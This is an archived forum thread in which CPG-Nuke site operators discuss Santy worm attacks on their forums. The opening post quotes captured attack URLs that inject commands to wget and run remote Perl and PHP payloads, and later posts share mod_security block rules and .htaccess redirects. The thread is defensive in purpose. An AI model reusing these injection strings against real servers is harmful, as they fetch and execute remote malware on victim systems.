Help CPG-Nuke is under attack LMAO :: Archived

DJ Maze

Are people that stupid ?
They are trying these already all day Very happy

Code::

index.php?name=Forums&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20http://fff.gratishost.com/sess_0bc3910d07edb36750a9babbd179edb2;perl%20sess_0bc3910d07edb36750a9babbd179edb2;wget%20http://fff.gratishost.com/wow.a;perl%20wow.a%3B%
index.php?name=Forums&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%25
index.php?name=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.t

xfsunoles

wow, they don't stop launch shell worm. well, it unsuccessful.

Stephen · Silver Supporter Offline Joined: Apr 21, 2004 Posts: 734

I've stopped about 40 attempts so far with mod_security :D

Heres one simple line to add to your mod_security config (or if you host has mod_security installed add to htaccess file) and it will stop them dead.

Code::

SecFilterSelective THE_REQUEST "wget "

I use a lot more than that however, ranging from uname to xss :D

Edit..
Heres my entire mod_security config file. All rules, they also stop the nmap version scan.

Code::

SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "uname -a"
SecFilterSelective THE_REQUEST "\.htgroup"
SecFilterSelective THE_REQUEST "\.htaccess"
SecFilter "javascript\://"
SecFilter "img src=javascript"
SecFilterSelective THE_REQUEST "cd\.\."
SecFilterSelective THE_REQUEST "///cgi-bin"
SecFilterSelective THE_REQUEST "/cgi-bin///"
SecFilterSelective THE_REQUEST "/~root"
SecFilterSelective THE_REQUEST "/~ftp"
SecFilterSelective THE_REQUEST "/htgrep" chain
SecFilter "hdr=/"
SecFilterSelective THE_REQUEST "/htgrep" log,pass
SecFilterSelective THE_REQUEST "/\.history"
SecFilterSelective THE_REQUEST "/\.bash_history"
SecFilterSelective THE_REQUEST "/~nobody"
SecFilterSelective THE_REQUEST "<script"
SecFilterSelective THE_REQUEST "\?STRENGUR"
SecFilter "_PHPLIB\[libdir\]"
SecFilterSelective THE_REQUEST "^(HELP|default|\||TNMP|DmdT|\:)$"
SecFilterSelective SCRIPT_FILENAME "export\.php$" chain
SecFilterSelective ARG_what "\.\."
SecFilter "<(.|\n)+>"

Edit2: disabled smiles :'(

Mystic

DJ,

How are you detecting these attempts?

Stephen,

Where do you insert this code at?

DJ Maze

It's all in the "Who is where" block

Mythical · Newbie Offline Joined: Oct 13, 2004 Posts: 3

DJMaze wrote:

It's all in the "Who is where" block

You mean the same one this site doesn't use because

akamu wrote:

We don't have the who is where activated because of the sheer number of visitors and the extra queries this adds to the load on mysql.

Seems more like it's activated but for admin only. A little honesty never hurt anyone.

DJ Maze

Apache logs.
By telling it as the block it is more understandable for most people Wink

Jeruvy

Santy.C

Merry Christmas.

Stephen · Silver Supporter Offline Joined: Apr 21, 2004 Posts: 734

Mystic,
You have to have mod_security installed (server side) for that to work.
Then after that, I beleive you can put it in your httpd.conf or .htaccess file. Very Happy

Mystic

Thanks for the clarification Stephen.

DJ Maze

Hey 2 new sites Smile

midomain.false.ca <- down

envidiosos.org/~pillar/ <- still up

And the biggest fun: due to LEO the worm urls are totally messed up Very happy

djdevon3 · Gold Supporter Offline Joined: Aug 05, 2004 Posts: 4363

all hail the cows

tank

Based on several sites I've added this to my .htaccess at the top.

Code::

#Check for Santy Worms and redirect them to a phantom site
#Variant-1
RewriteCond %{HTTP_USER_AGENT} ^LWP                     [NC,OR]
#Variant-2
RewriteCond %{REQUEST_URI} ^visualcoders                [NC,OR]
RewriteCond %{REQUEST_URI} .*midomain/.false/.ca 	[NC,OR]
RewriteCond %{REQUEST_URI} .*envidiosos.org/~pillar/ 	[NC,OR]
#Variant-3
RewriteCond %{QUERY_STRING} rush=([^&]+)                [NC]
RewriteRule ^.*$ http://www.goawayanddontcomeback.com   [L]
#end santy check

anyone see any problem with that? I'm no htaccess guru but it seems to redirect any potential attacks elsewhere. Just not sure the implications to CPG-Nuke. It will only be on 8.2 so I'm sure it won't interefere with the LEO Smile

xfsunoles

about redirect URL, what best URL we should pick on?

djdevon3 · Gold Supporter Offline Joined: Aug 05, 2004 Posts: 4363

how about locators.com? responsible for some of the admin referal spamming. Twisted Evil

spam the spammers!